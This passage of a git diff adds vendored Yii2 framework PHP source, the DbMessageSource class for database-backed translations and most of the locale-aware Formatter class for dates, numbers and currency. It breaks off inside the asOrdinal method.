b/php/yii2/basic/vendor/yiisoft/yii2/i18n/DbMessageSource.php new file mode 100644 index 00000000..773aa9a1 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/i18n/DbMessageSource.php @@ -0,0 +1,165 @@ + + * @since 2.0 + */ +class DbMessageSource extends MessageSource +{ + /** + * Prefix which would be used when generating cache key. + */ + const CACHE_KEY_PREFIX = 'DbMessageSource'; + + /** + * @var Connection|string the DB connection object or the application component ID of the DB connection. + * After the DbMessageSource object is created, if you want to change this property, you should only assign + * it with a DB connection object. + */ + public $db = 'db'; + /** + * @var Cache|string the cache object or the application component ID of the cache object. + * The messages data will be cached using this cache object. Note, this property has meaning only + * in case [[cachingDuration]] set to non-zero value. + * After the DbMessageSource object is created, if you want to change this property, you should only assign + * it with a cache object. + */ + public $cache = 'cache'; + /** + * @var string the name of the source message table. + */ + public $sourceMessageTable = '{{%source_message}}'; + /** + * @var string the name of the translated message table. + */ + public $messageTable = '{{%message}}'; + /** + * @var integer the time in seconds that the messages can remain valid in cache. + * Use 0 to indicate that the cached data will never expire. + * @see enableCaching + */ + public $cachingDuration = 0; + /** + * @var boolean whether to enable caching translated messages + */ + public $enableCaching = false; + + + /** + * Initializes the DbMessageSource component. + * This method will initialize the [[db]] property to make sure it refers to a valid DB connection. + * Configured [[cache]] component would also be initialized. + * @throws InvalidConfigException if [[db]] is invalid or [[cache]] is invalid. + */ + public function init() + { + parent::init(); + $this->db = Instance::ensure($this->db, Connection::className()); + if ($this->enableCaching) { + $this->cache = Instance::ensure($this->cache, Cache::className()); + } + } + + /** + * Loads the message translation for the specified language and category. + * If translation for specific locale code such as `en-US` isn't found it + * tries more generic `en`. + * + * @param string $category the message category + * @param string $language the target language + * @return array the loaded messages. The keys are original messages, and the values + * are translated messages. + */ + protected function loadMessages($category, $language) + { + if ($this->enableCaching) { + $key = [ + __CLASS__, + $category, + $language, + ]; + $messages = $this->cache->get($key); + if ($messages === false) { + $messages = $this->loadMessagesFromDb($category, $language); + $this->cache->set($key, $messages, $this->cachingDuration); + } + + return $messages; + } else { + return $this->loadMessagesFromDb($category, $language); + } + } + + /** + * Loads the messages from database. + * You may override this method to customize the message storage in the database. + * @param string $category the message category. + * @param string $language the target language. + * @return array the messages loaded from database. + */ + protected function loadMessagesFromDb($category, $language) + { + $mainQuery = new Query(); + $mainQuery->select(['t1.message message', 't2.translation translation']) + ->from(["$this->sourceMessageTable t1", "$this->messageTable t2"]) + ->where('t1.id = t2.id AND t1.category = :category AND t2.language = :language') + ->params([':category' => $category, ':language' => $language]); + + $fallbackLanguage = substr($language, 0, 2); + if ($fallbackLanguage != $language) { + $fallbackQuery = new Query(); + $fallbackQuery->select(['t1.message message', 't2.translation translation']) + ->from(["$this->sourceMessageTable t1", "$this->messageTable t2"]) + ->where('t1.id = t2.id AND t1.category = :category AND t2.language = :fallbackLanguage') + ->andWhere("t2.id NOT IN (SELECT id FROM $this->messageTable WHERE language = :language)") + ->params([':category' => $category, ':language' => $language, ':fallbackLanguage' => $fallbackLanguage]); + + $mainQuery->union($fallbackQuery, true); + } + + $messages = $mainQuery->createCommand($this->db)->queryAll(); + + return ArrayHelper::map($messages, 'message', 'translation'); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/i18n/Formatter.php b/php/yii2/basic/vendor/yiisoft/yii2/i18n/Formatter.php new file mode 100644 index 00000000..cd7359ca --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/i18n/Formatter.php @@ -0,0 +1,1129 @@ +formatter`. + * + * The Formatter class is designed to format values according to a [[locale]]. For this feature to work + * the [PHP intl extension](http://php.net/manual/en/book.intl.php) has to be installed. + * Most of the methods however work also if the PHP intl extension is not installed by providing + * a fallback implementation. Without intl month and day names are in English only. + * + * @author Qiang Xue + * @author Enrica Ruedin + * @author Carsten Brandt + * @since 2.0 + */ +class Formatter extends Component +{ + /** + * @var string the text to be displayed when formatting a `null` value. + * Defaults to `'(not set)'`, where `(not set)` + * will be translated according to [[locale]]. + */ + public $nullDisplay; + /** + * @var array the text to be displayed when formatting a boolean value. The first element corresponds + * to the text displayed for `false`, the second element for `true`. + * Defaults to `['No', 'Yes']`, where `Yes` and `No` + * will be translated according to [[locale]]. + */ + public $booleanFormat; + /** + * @var string the locale ID that is used to localize the date and number formatting. + * For number and date formatting this is only effective when the + * [PHP intl extension](http://php.net/manual/en/book.intl.php) is installed. + * If not set, [[\yii\base\Application::language]] will be used. + */ + public $locale; + /** + * @var string the timezone to use for formatting time and date values. + * This can be any value that may be passed to [date_default_timezone_set()](http://www.php.net/manual/en/function.date-default-timezone-set.php) + * e.g. `UTC`, `Europe/Berlin` or `America/Chicago`. + * Refer to the [php manual](http://www.php.net/manual/en/timezones.php) for available timezones. + * If this property is not set, [[\yii\base\Application::timeZone]] will be used. + * + * Note that the input timezone is assumed to be UTC always if no timezone is included in the input date value. + * Make sure to store datetime values in UTC in your database. + */ + public $timeZone; + /** + * @var string the default format string to be used to format a [[asDate()|date]]. + * This can be "short", "medium", "long", or "full", which represents a preset format of different lengths. + * + * It can also be a custom format as specified in the [ICU manual](http://userguide.icu-project.org/formatparse/datetime#TOC-Date-Time-Format-Syntax). + * Alternatively this can be a string prefixed with `php:` representing a format that can be recognized by the + * PHP [date()](http://php.net/manual/de/function.date.php)-function. + * + * For example: + * + * ```php + * 'MM/dd/yyyy' // date in ICU format + * 'php:m/d/Y' // the same date in PHP format + * ``` + */ + public $dateFormat = 'medium'; + /** + * @var string the default format string to be used to format a [[asTime()|time]]. + * This can be "short", "medium", "long", or "full", which represents a preset format of different lengths. + * + * It can also be a custom format as specified in the [ICU manual](http://userguide.icu-project.org/formatparse/datetime#TOC-Date-Time-Format-Syntax). + * Alternatively this can be a string prefixed with `php:` representing a format that can be recognized by the + * PHP [date()](http://php.net/manual/de/function.date.php)-function. + * + * For example: + * + * ```php + * 'HH:mm:ss' // time in ICU format + * 'php:H:i:s' // the same time in PHP format + * ``` + */ + public $timeFormat = 'medium'; + /** + * @var string the default format string to be used to format a [[asDateTime()|date and time]]. + * This can be "short", "medium", "long", or "full", which represents a preset format of different lengths. + * + * It can also be a custom format as specified in the [ICU manual](http://userguide.icu-project.org/formatparse/datetime#TOC-Date-Time-Format-Syntax). + * + * Alternatively this can be a string prefixed with `php:` representing a format that can be recognized by the + * PHP [date()](http://php.net/manual/de/function.date.php)-function. + * + * For example: + * + * ```php + * 'MM/dd/yyyy HH:mm:ss' // date and time in ICU format + * 'php:m/d/Y H:i:s' // the same date and time in PHP format + * ``` + */ + public $datetimeFormat = 'medium'; + /** + * @var string the character displayed as the decimal point when formatting a number. + * If not set, the decimal separator corresponding to [[locale]] will be used. + * If [PHP intl extension](http://php.net/manual/en/book.intl.php) is not available, the default value is '.'. + */ + public $decimalSeparator; + /** + * @var string the character displayed as the thousands separator (also called grouping separator) character when formatting a number. + * If not set, the thousand separator corresponding to [[locale]] will be used. + * If [PHP intl extension](http://php.net/manual/en/book.intl.php) is not available, the default value is ','. + */ + public $thousandSeparator; + /** + * @var array a list of name value pairs that are passed to the + * intl [Numberformatter::setAttribute()](http://php.net/manual/en/numberformatter.setattribute.php) method of all + * the number formatter objects created by [[createNumberFormatter()]]. + * This property takes only effect if the [PHP intl extension](http://php.net/manual/en/book.intl.php) is installed. + * + * Please refer to the [PHP manual](http://php.net/manual/en/class.numberformatter.php#intl.numberformatter-constants.unumberformatattribute) + * for the possible options. + * + * For example to adjust the maximum and minimum value of fraction digits you can configure this property like the following: + * + * ```php + * [ + * NumberFormatter::MIN_FRACTION_DIGITS => 0, + * NumberFormatter::MAX_FRACTION_DIGITS => 2, + * ] + * ``` + */ + public $numberFormatterOptions = []; + /** + * @var array a list of name value pairs that are passed to the + * intl [Numberformatter::setTextAttribute()](http://php.net/manual/en/numberformatter.settextattribute.php) method of all + * the number formatter objects created by [[createNumberFormatter()]]. + * This property takes only effect if the [PHP intl extension](http://php.net/manual/en/book.intl.php) is installed. + * + * Please refer to the [PHP manual](http://php.net/manual/en/class.numberformatter.php#intl.numberformatter-constants.unumberformattextattribute) + * for the possible options. + * + * For example to change the minus sign for negative numbers you can configure this property like the following: + * + * ```php + * [ + * NumberFormatter::NEGATIVE_PREFIX => 'MINUS', + * ] + * ``` + */ + public $numberFormatterTextOptions = []; + /** + * @var string the 3-letter ISO 4217 currency code indicating the default currency to use for [[asCurrency]]. + * If not set, the currency code corresponding to [[locale]] will be used. + * Note that in this case the [[locale]] has to be specified with a country code, e.g. `en-US` otherwise it + * is not possible to determine the default currency. + */ + public $currencyCode; + /** + * @var array the base at which a kilobyte is calculated (1000 or 1024 bytes per kilobyte), used by [[asSize]] and [[asShortSize]]. + * Defaults to 1024. + */ + public $sizeFormatBase = 1024; + + /** + * @var boolean whether the [PHP intl extension](http://php.net/manual/en/book.intl.php) is loaded. + */ + private $_intlLoaded = false; + + + /** + * @inheritdoc + */ + public function init() + { + if ($this->timeZone === null) { + $this->timeZone = Yii::$app->timeZone; + } + if ($this->locale === null) { + $this->locale = Yii::$app->language; + } + if ($this->booleanFormat === null) { + $this->booleanFormat = [Yii::t('yii', 'No', [], $this->locale), Yii::t('yii', 'Yes', [], $this->locale)]; + } + if ($this->nullDisplay === null) { + $this->nullDisplay = '' . Yii::t('yii', '(not set)', [], $this->locale) . ''; + } + $this->_intlLoaded = extension_loaded('intl'); + if (!$this->_intlLoaded) { + if ($this->decimalSeparator === null) { + $this->decimalSeparator = '.'; + } + if ($this->thousandSeparator === null) { + $this->thousandSeparator = ','; + } + } + } + + /** + * Formats the value based on the given format type. + * This method will call one of the "as" methods available in this class to do the formatting. + * For type "xyz", the method "asXyz" will be used. For example, if the format is "html", + * then [[asHtml()]] will be used. Format names are case insensitive. + * @param mixed $value the value to be formatted. + * @param string|array $format the format of the value, e.g., "html", "text". To specify additional + * parameters of the formatting method, you may use an array. The first element of the array + * specifies the format name, while the rest of the elements will be used as the parameters to the formatting + * method. For example, a format of `['date', 'Y-m-d']` will cause the invocation of `asDate($value, 'Y-m-d')`. + * @return string the formatting result. + * @throws InvalidParamException if the format type is not supported by this class. + */ + public function format($value, $format) + { + if (is_array($format)) { + if (!isset($format[0])) { + throw new InvalidParamException('The $format array must contain at least one element.'); + } + $f = $format[0]; + $format[0] = $value; + $params = $format; + $format = $f; + } else { + $params = [$value]; + } + $method = 'as' . $format; + if ($this->hasMethod($method)) { + return call_user_func_array([$this, $method], $params); + } else { + throw new InvalidParamException("Unknown format type: $format"); + } + } + + + // simple formats + + + /** + * Formats the value as is without any formatting. + * This method simply returns back the parameter without any format. + * The only exception is a `null` value which will be formatted using [[nullDisplay]]. + * @param mixed $value the value to be formatted. + * @return string the formatted result. + */ + public function asRaw($value) + { + if ($value === null) { + return $this->nullDisplay; + } + return $value; + } + + /** + * Formats the value as an HTML-encoded plain text. + * @param mixed $value the value to be formatted. + * @return string the formatted result. + */ + public function asText($value) + { + if ($value === null) { + return $this->nullDisplay; + } + return Html::encode($value); + } + + /** + * Formats the value as an HTML-encoded plain text with newlines converted into breaks. + * @param mixed $value the value to be formatted. + * @return string the formatted result. + */ + public function asNtext($value) + { + if ($value === null) { + return $this->nullDisplay; + } + return nl2br(Html::encode($value)); + } + + /** + * Formats the value as HTML-encoded text paragraphs. + * Each text paragraph is enclosed within a `

              ` tag. + * One or multiple consecutive empty lines divide two paragraphs. + * @param mixed $value the value to be formatted. + * @return string the formatted result. + */ + public function asParagraphs($value) + { + if ($value === null) { + return $this->nullDisplay; + } + return str_replace('

              ', '', '

              ' . preg_replace('/\R{2,}/', "

              \n

              ", Html::encode($value)) . '

              '); + } + + /** + * Formats the value as HTML text. + * The value will be purified using [[HtmlPurifier]] to avoid XSS attacks. + * Use [[asRaw()]] if you do not want any purification of the value. + * @param mixed $value the value to be formatted. + * @param array|null $config the configuration for the HTMLPurifier class. + * @return string the formatted result. + */ + public function asHtml($value, $config = null) + { + if ($value === null) { + return $this->nullDisplay; + } + return HtmlPurifier::process($value, $config); + } + + /** + * Formats the value as a mailto link. + * @param mixed $value the value to be formatted. + * @param array $options the tag options in terms of name-value pairs. See [[Html::mailto()]]. + * @return string the formatted result. + */ + public function asEmail($value, $options = []) + { + if ($value === null) { + return $this->nullDisplay; + } + return Html::mailto(Html::encode($value), $value, $options); + } + + /** + * Formats the value as an image tag. + * @param mixed $value the value to be formatted. + * @param array $options the tag options in terms of name-value pairs. See [[Html::img()]]. + * @return string the formatted result. + */ + public function asImage($value, $options = []) + { + if ($value === null) { + return $this->nullDisplay; + } + return Html::img($value, $options); + } + + /** + * Formats the value as a hyperlink. + * @param mixed $value the value to be formatted. + * @param array $options the tag options in terms of name-value pairs. See [[Html::a()]]. + * @return string the formatted result. + */ + public function asUrl($value, $options = []) + { + if ($value === null) { + return $this->nullDisplay; + } + $url = $value; + if (strpos($url, '://') === false) { + $url = 'http://' . $url; + } + + return Html::a(Html::encode($value), $url, $options); + } + + /** + * Formats the value as a boolean. + * @param mixed $value the value to be formatted. + * @return string the formatted result. + * @see booleanFormat + */ + public function asBoolean($value) + { + if ($value === null) { + return $this->nullDisplay; + } + + return $value ? $this->booleanFormat[1] : $this->booleanFormat[0]; + } + + + // date and time formats + + + /** + * Formats the value as a date. + * @param integer|string|DateTime $value the value to be formatted. The following + * types of value are supported: + * + * - an integer representing a UNIX timestamp + * - a string that can be [parsed to create a DateTime object](http://php.net/manual/en/datetime.formats.php). + * The timestamp is assumed to be in UTC unless a timezone is explicitly given. + * - a PHP [DateTime](http://php.net/manual/en/class.datetime.php) object + * + * @param string $format the format used to convert the value into a date string. + * If null, [[dateFormat]] will be used. + * + * This can be "short", "medium", "long", or "full", which represents a preset format of different lengths. + * It can also be a custom format as specified in the [ICU manual](http://userguide.icu-project.org/formatparse/datetime). + * + * Alternatively this can be a string prefixed with `php:` representing a format that can be recognized by the + * PHP [date()](http://php.net/manual/de/function.date.php)-function. + * + * @return string the formatted result. + * @throws InvalidParamException if the input value can not be evaluated as a date value. + * @throws InvalidConfigException if the date format is invalid. + * @see dateFormat + */ + public function asDate($value, $format = null) + { + if ($format === null) { + $format = $this->dateFormat; + } + return $this->formatDateTimeValue($value, $format, 'date'); + } + + /** + * Formats the value as a time. + * @param integer|string|DateTime $value the value to be formatted. The following + * types of value are supported: + * + * - an integer representing a UNIX timestamp + * - a string that can be [parsed to create a DateTime object](http://php.net/manual/en/datetime.formats.php). + * The timestamp is assumed to be in UTC unless a timezone is explicitly given. + * - a PHP [DateTime](http://php.net/manual/en/class.datetime.php) object + * + * @param string $format the format used to convert the value into a date string. + * If null, [[timeFormat]] will be used. + * + * This can be "short", "medium", "long", or "full", which represents a preset format of different lengths. + * It can also be a custom format as specified in the [ICU manual](http://userguide.icu-project.org/formatparse/datetime). + * + * Alternatively this can be a string prefixed with `php:` representing a format that can be recognized by the + * PHP [date()](http://php.net/manual/de/function.date.php)-function. + * + * @return string the formatted result. + * @throws InvalidParamException if the input value can not be evaluated as a date value. + * @throws InvalidConfigException if the date format is invalid. + * @see timeFormat + */ + public function asTime($value, $format = null) + { + if ($format === null) { + $format = $this->timeFormat; + } + return $this->formatDateTimeValue($value, $format, 'time'); + } + + /** + * Formats the value as a datetime. + * @param integer|string|DateTime $value the value to be formatted. The following + * types of value are supported: + * + * - an integer representing a UNIX timestamp + * - a string that can be [parsed to create a DateTime object](http://php.net/manual/en/datetime.formats.php). + * The timestamp is assumed to be in UTC unless a timezone is explicitly given. + * - a PHP [DateTime](http://php.net/manual/en/class.datetime.php) object + * + * @param string $format the format used to convert the value into a date string. + * If null, [[dateFormat]] will be used. + * + * This can be "short", "medium", "long", or "full", which represents a preset format of different lengths. + * It can also be a custom format as specified in the [ICU manual](http://userguide.icu-project.org/formatparse/datetime). + * + * Alternatively this can be a string prefixed with `php:` representing a format that can be recognized by the + * PHP [date()](http://php.net/manual/de/function.date.php)-function. + * + * @return string the formatted result. + * @throws InvalidParamException if the input value can not be evaluated as a date value. + * @throws InvalidConfigException if the date format is invalid. + * @see datetimeFormat + */ + public function asDatetime($value, $format = null) + { + if ($format === null) { + $format = $this->datetimeFormat; + } + return $this->formatDateTimeValue($value, $format, 'datetime'); + } + + /** + * @var array map of short format names to IntlDateFormatter constant values. + */ + private $_dateFormats = [ + 'short' => 3, // IntlDateFormatter::SHORT, + 'medium' => 2, // IntlDateFormatter::MEDIUM, + 'long' => 1, // IntlDateFormatter::LONG, + 'full' => 0, // IntlDateFormatter::FULL, + ]; + + /** + * @param integer|string|DateTime $value the value to be formatted. The following + * types of value are supported: + * + * - an integer representing a UNIX timestamp + * - a string that can be [parsed to create a DateTime object](http://php.net/manual/en/datetime.formats.php). + * The timestamp is assumed to be in UTC unless a timezone is explicitly given. + * - a PHP [DateTime](http://php.net/manual/en/class.datetime.php) object + * + * @param string $format the format used to convert the value into a date string. + * @param string $type 'date', 'time', or 'datetime'. + * @throws InvalidConfigException if the date format is invalid. + * @return string the formatted result. + */ + private function formatDateTimeValue($value, $format, $type) + { + $timestamp = $this->normalizeDatetimeValue($value); + if ($timestamp === null) { + return $this->nullDisplay; + } + + if ($this->_intlLoaded) { + if (strncmp($format, 'php:', 4) === 0) { + $format = FormatConverter::convertDatePhpToIcu(substr($format, 4)); + } + if (isset($this->_dateFormats[$format])) { + if ($type === 'date') { + $formatter = new IntlDateFormatter($this->locale, $this->_dateFormats[$format], IntlDateFormatter::NONE, $this->timeZone); + } elseif ($type === 'time') { + $formatter = new IntlDateFormatter($this->locale, IntlDateFormatter::NONE, $this->_dateFormats[$format], $this->timeZone); + } else { + $formatter = new IntlDateFormatter($this->locale, $this->_dateFormats[$format], $this->_dateFormats[$format], $this->timeZone); + } + } else { + $formatter = new IntlDateFormatter($this->locale, IntlDateFormatter::NONE, IntlDateFormatter::NONE, $this->timeZone, null, $format); + } + if ($formatter === null) { + throw new InvalidConfigException(intl_get_error_message()); + } + return $formatter->format($timestamp); + } else { + if (strncmp($format, 'php:', 4) === 0) { + $format = substr($format, 4); + } else { + $format = FormatConverter::convertDateIcuToPhp($format, $type, $this->locale); + } + if ($this->timeZone != null) { + $timestamp->setTimezone(new DateTimeZone($this->timeZone)); + } + return $timestamp->format($format); + } + } + + /** + * Normalizes the given datetime value as a DateTime object that can be taken by various date/time formatting methods. + * + * @param integer|string|DateTime $value the datetime value to be normalized. The following + * types of value are supported: + * + * - an integer representing a UNIX timestamp + * - a string that can be [parsed to create a DateTime object](http://php.net/manual/en/datetime.formats.php). + * The timestamp is assumed to be in UTC unless a timezone is explicitly given. + * - a PHP [DateTime](http://php.net/manual/en/class.datetime.php) object + * + * @return DateTime the normalized datetime value + * @throws InvalidParamException if the input value can not be evaluated as a date value. + */ + protected function normalizeDatetimeValue($value) + { + if ($value === null || $value instanceof DateTime || $value instanceof DateTimeInterface) { + // skip any processing + return $value; + } + if (empty($value)) { + $value = 0; + } + try { + if (is_numeric($value)) { // process as unix timestamp + if (($timestamp = DateTime::createFromFormat('U', $value, new DateTimeZone('UTC'))) === false) { + throw new InvalidParamException("Failed to parse '$value' as a UNIX timestamp."); + } + return $timestamp; + } elseif (($timestamp = DateTime::createFromFormat('Y-m-d', $value, new DateTimeZone('UTC'))) !== false) { // try Y-m-d format (support invalid dates like 2012-13-01) + return $timestamp; + } elseif (($timestamp = DateTime::createFromFormat('Y-m-d H:i:s', $value, new DateTimeZone('UTC'))) !== false) { // try Y-m-d H:i:s format (support invalid dates like 2012-13-01 12:63:12) + return $timestamp; + } + // finally try to create a DateTime object with the value + $timestamp = new DateTime($value, new DateTimeZone('UTC')); + return $timestamp; + } catch(\Exception $e) { + throw new InvalidParamException("'$value' is not a valid date time value: " . $e->getMessage() + . "\n" . print_r(DateTime::getLastErrors(), true), $e->getCode(), $e); + } + } + + /** + * Formats a date, time or datetime in a float number as UNIX timestamp (seconds since 01-01-1970). + * @param integer|string|DateTime $value the value to be formatted. The following + * types of value are supported: + * + * - an integer representing a UNIX timestamp + * - a string that can be [parsed to create a DateTime object](http://php.net/manual/en/datetime.formats.php). + * The timestamp is assumed to be in UTC unless a timezone is explicitly given. + * - a PHP [DateTime](http://php.net/manual/en/class.datetime.php) object + * + * @return string the formatted result. + */ + public function asTimestamp($value) + { + if ($value === null) { + return $this->nullDisplay; + } + $timestamp = $this->normalizeDatetimeValue($value); + return number_format($timestamp->format('U'), 0, '.', ''); + } + + /** + * Formats the value as the time interval between a date and now in human readable form. + * + * This method can be used in three different ways: + * + * 1. Using a timestamp that is relative to `now`. + * 2. Using a timestamp that is relative to the `$referenceTime`. + * 3. Using a `DateInterval` object. + * + * @param integer|string|DateTime|DateInterval $value the value to be formatted. The following + * types of value are supported: + * + * - an integer representing a UNIX timestamp + * - a string that can be [parsed to create a DateTime object](http://php.net/manual/en/datetime.formats.php). + * The timestamp is assumed to be in UTC unless a timezone is explicitly given. + * - a PHP [DateTime](http://php.net/manual/en/class.datetime.php) object + * - a PHP DateInterval object (a positive time interval will refer to the past, a negative one to the future) + * + * @param integer|string|DateTime $referenceTime if specified the value is used as a reference time instead of `now` + * when `$value` is not a `DateInterval` object. + * @return string the formatted result. + * @throws InvalidParamException if the input value can not be evaluated as a date value. + */ + public function asRelativeTime($value, $referenceTime = null) + { + if ($value === null) { + return $this->nullDisplay; + } + + if ($value instanceof DateInterval) { + $interval = $value; + } else { + $timestamp = $this->normalizeDatetimeValue($value); + + if ($timestamp === false) { + // $value is not a valid date/time value, so we try + // to create a DateInterval with it + try { + $interval = new DateInterval($value); + } catch (\Exception $e) { + // invalid date/time and invalid interval + return $this->nullDisplay; + } + } else { + $timezone = new DateTimeZone($this->timeZone); + + if ($referenceTime === null) { + $dateNow = new DateTime('now', $timezone); + } else { + $dateNow = $this->normalizeDatetimeValue($referenceTime); + $dateNow->setTimezone($timezone); + } + + $dateThen = $timestamp->setTimezone($timezone); + + $interval = $dateThen->diff($dateNow); + } + } + + if ($interval->invert) { + if ($interval->y >= 1) { + return Yii::t('yii', 'in {delta, plural, =1{a year} other{# years}}', ['delta' => $interval->y], $this->locale); + } + if ($interval->m >= 1) { + return Yii::t('yii', 'in {delta, plural, =1{a month} other{# months}}', ['delta' => $interval->m], $this->locale); + } + if ($interval->d >= 1) { + return Yii::t('yii', 'in {delta, plural, =1{a day} other{# days}}', ['delta' => $interval->d], $this->locale); + } + if ($interval->h >= 1) { + return Yii::t('yii', 'in {delta, plural, =1{an hour} other{# hours}}', ['delta' => $interval->h], $this->locale); + } + if ($interval->i >= 1) { + return Yii::t('yii', 'in {delta, plural, =1{a minute} other{# minutes}}', ['delta' => $interval->i], $this->locale); + } + if ($interval->s == 0) { + return Yii::t('yii', 'just now', [], $this->locale); + } + return Yii::t('yii', 'in {delta, plural, =1{a second} other{# seconds}}', ['delta' => $interval->s], $this->locale); + } else { + if ($interval->y >= 1) { + return Yii::t('yii', '{delta, plural, =1{a year} other{# years}} ago', ['delta' => $interval->y], $this->locale); + } + if ($interval->m >= 1) { + return Yii::t('yii', '{delta, plural, =1{a month} other{# months}} ago', ['delta' => $interval->m], $this->locale); + } + if ($interval->d >= 1) { + return Yii::t('yii', '{delta, plural, =1{a day} other{# days}} ago', ['delta' => $interval->d], $this->locale); + } + if ($interval->h >= 1) { + return Yii::t('yii', '{delta, plural, =1{an hour} other{# hours}} ago', ['delta' => $interval->h], $this->locale); + } + if ($interval->i >= 1) { + return Yii::t('yii', '{delta, plural, =1{a minute} other{# minutes}} ago', ['delta' => $interval->i], $this->locale); + } + if ($interval->s == 0) { + return Yii::t('yii', 'just now', [], $this->locale); + } + return Yii::t('yii', '{delta, plural, =1{a second} other{# seconds}} ago', ['delta' => $interval->s], $this->locale); + } + } + + + // number formats + + + /** + * Formats the value as an integer number by removing any decimal digits without rounding. + * + * @param mixed $value the value to be formatted. + * @param array $options optional configuration for the number formatter. This parameter will be merged with [[numberFormatterOptions]]. + * @param array $textOptions optional configuration for the number formatter. This parameter will be merged with [[numberFormatterTextOptions]]. + * @return string the formatted result. + * @throws InvalidParamException if the input value is not numeric. + */ + public function asInteger($value, $options = [], $textOptions = []) + { + if ($value === null) { + return $this->nullDisplay; + } + $value = $this->normalizeNumericValue($value); + if ($this->_intlLoaded) { + $f = $this->createNumberFormatter(NumberFormatter::DECIMAL, null, $options, $textOptions); + $f->setAttribute(NumberFormatter::FRACTION_DIGITS, 0); + return $f->format($value, NumberFormatter::TYPE_INT64); + } else { + return number_format((int) $value, 0, $this->decimalSeparator, $this->thousandSeparator); + } + } + + /** + * Formats the value as a decimal number. + * + * Property [[decimalSeparator]] will be used to represent the decimal point. The + * value is rounded automatically to the defined decimal digits. + * + * @param mixed $value the value to be formatted. + * @param integer $decimals the number of digits after the decimal point. If not given the number of digits is determined from the + * [[locale]] and if the [PHP intl extension](http://php.net/manual/en/book.intl.php) is not available defaults to `2`. + * @param array $options optional configuration for the number formatter. This parameter will be merged with [[numberFormatterOptions]]. + * @param array $textOptions optional configuration for the number formatter. This parameter will be merged with [[numberFormatterTextOptions]]. + * @return string the formatted result. + * @throws InvalidParamException if the input value is not numeric. + * @see decimalSeparator + * @see thousandSeparator + */ + public function asDecimal($value, $decimals = null, $options = [], $textOptions = []) + { + if ($value === null) { + return $this->nullDisplay; + } + $value = $this->normalizeNumericValue($value); + + if ($this->_intlLoaded) { + $f = $this->createNumberFormatter(NumberFormatter::DECIMAL, $decimals, $options, $textOptions); + return $f->format($value); + } else { + if ($decimals === null){ + $decimals = 2; + } + return number_format($value, $decimals, $this->decimalSeparator, $this->thousandSeparator); + } + } + + + /** + * Formats the value as a percent number with "%" sign. + * + * @param mixed $value the value to be formatted. It must be a factor e.g. `0.75` will result in `75%`. + * @param integer $decimals the number of digits after the decimal point. + * @param array $options optional configuration for the number formatter. This parameter will be merged with [[numberFormatterOptions]]. + * @param array $textOptions optional configuration for the number formatter. This parameter will be merged with [[numberFormatterTextOptions]]. + * @return string the formatted result. + * @throws InvalidParamException if the input value is not numeric. + */ + public function asPercent($value, $decimals = null, $options = [], $textOptions = []) + { + if ($value === null) { + return $this->nullDisplay; + } + $value = $this->normalizeNumericValue($value); + + if ($this->_intlLoaded) { + $f = $this->createNumberFormatter(NumberFormatter::PERCENT, $decimals, $options, $textOptions); + return $f->format($value); + } else { + if ($decimals === null){ + $decimals = 0; + } + $value = $value * 100; + return number_format($value, $decimals, $this->decimalSeparator, $this->thousandSeparator) . '%'; + } + } + + /** + * Formats the value as a scientific number. + * + * @param mixed $value the value to be formatted. + * @param integer $decimals the number of digits after the decimal point. + * @param array $options optional configuration for the number formatter. This parameter will be merged with [[numberFormatterOptions]]. + * @param array $textOptions optional configuration for the number formatter. This parameter will be merged with [[numberFormatterTextOptions]]. + * @return string the formatted result. + * @throws InvalidParamException if the input value is not numeric. + */ + public function asScientific($value, $decimals = null, $options = [], $textOptions = []) + { + if ($value === null) { + return $this->nullDisplay; + } + $value = $this->normalizeNumericValue($value); + + if ($this->_intlLoaded){ + $f = $this->createNumberFormatter(NumberFormatter::SCIENTIFIC, $decimals, $options, $textOptions); + return $f->format($value); + } else { + if ($decimals !== null) { + return sprintf("%.{$decimals}E", $value); + } else { + return sprintf("%.E", $value); + } + } + } + + /** + * Formats the value as a currency number. + * + * This function does not requires the [PHP intl extension](http://php.net/manual/en/book.intl.php) to be installed + * to work but it is highly recommended to install it to get good formatting results. + * + * @param mixed $value the value to be formatted. + * @param string $currency the 3-letter ISO 4217 currency code indicating the currency to use. + * If null, [[currencyCode]] will be used. + * @param array $options optional configuration for the number formatter. This parameter will be merged with [[numberFormatterOptions]]. + * @param array $textOptions optional configuration for the number formatter. This parameter will be merged with [[numberFormatterTextOptions]]. + * @return string the formatted result. + * @throws InvalidParamException if the input value is not numeric. + * @throws InvalidConfigException if no currency is given and [[currencyCode]] is not defined. + */ + public function asCurrency($value, $currency = null, $options = [], $textOptions = []) + { + if ($value === null) { + return $this->nullDisplay; + } + $value = $this->normalizeNumericValue($value); + + if ($this->_intlLoaded) { + $formatter = $this->createNumberFormatter(NumberFormatter::CURRENCY, null, $options, $textOptions); + if ($currency === null) { + if ($this->currencyCode === null) { + $currency = $formatter->getSymbol(NumberFormatter::INTL_CURRENCY_SYMBOL); + } else { + $currency = $this->currencyCode; + } + } + return $formatter->formatCurrency($value, $currency); + } else { + if ($currency === null) { + if ($this->currencyCode === null) { + throw new InvalidConfigException('The default currency code for the formatter is not defined.'); + } + $currency = $this->currencyCode; + } + return $currency . ' ' . $this->asDecimal($value, 2, $options, $textOptions); + } + } + + /** + * Formats the value as a number spellout. + * + * This function requires the [PHP intl extension](http://php.net/manual/en/book.intl.php) to be installed. + * + * @param mixed $value the value to be formatted + * @return string the formatted result. + * @throws InvalidParamException if the input value is not numeric. + * @throws InvalidConfigException when the [PHP intl extension](http://php.net/manual/en/book.intl.php) is not available. + */ + public function asSpellout($value) + { + if ($value === null) { + return $this->nullDisplay; + } + $value = $this->normalizeNumericValue($value); + if ($this->_intlLoaded){ + $f = $this->createNumberFormatter(NumberFormatter::SPELLOUT); + return $f->format($value); + } else { + throw new InvalidConfigException('Format as Spellout is only supported when PHP intl extension is installed.'); + } + } + + /** + * Formats the value as a ordinal value of a number. + * + * This function requires the [PHP intl extension](http://php.net/manual/en/book.intl.php) to be installed. + * + * @param mixed $value the value to be formatted + * @return string the formatted result. + * @throws InvalidParamException if the input value is not numeric. + * @throws InvalidConfigException when the [PHP intl extension](http://php.net/manual/en/book.intl.php) is not available. + */ + public function asOrdinal($value) + { + if ($value === null) { + return $this->nullDisplay; + } + $value = $this->normalizeNumericValue($value); + if ($this->_intlLoaded){ + $f = $this->createNumberFormatter(NumberFormatter::ORDINAL); + return $f->format($value); + } else { + throw new InvalidConfigException('Format as Ordinal is only supported when PHP intl extension is 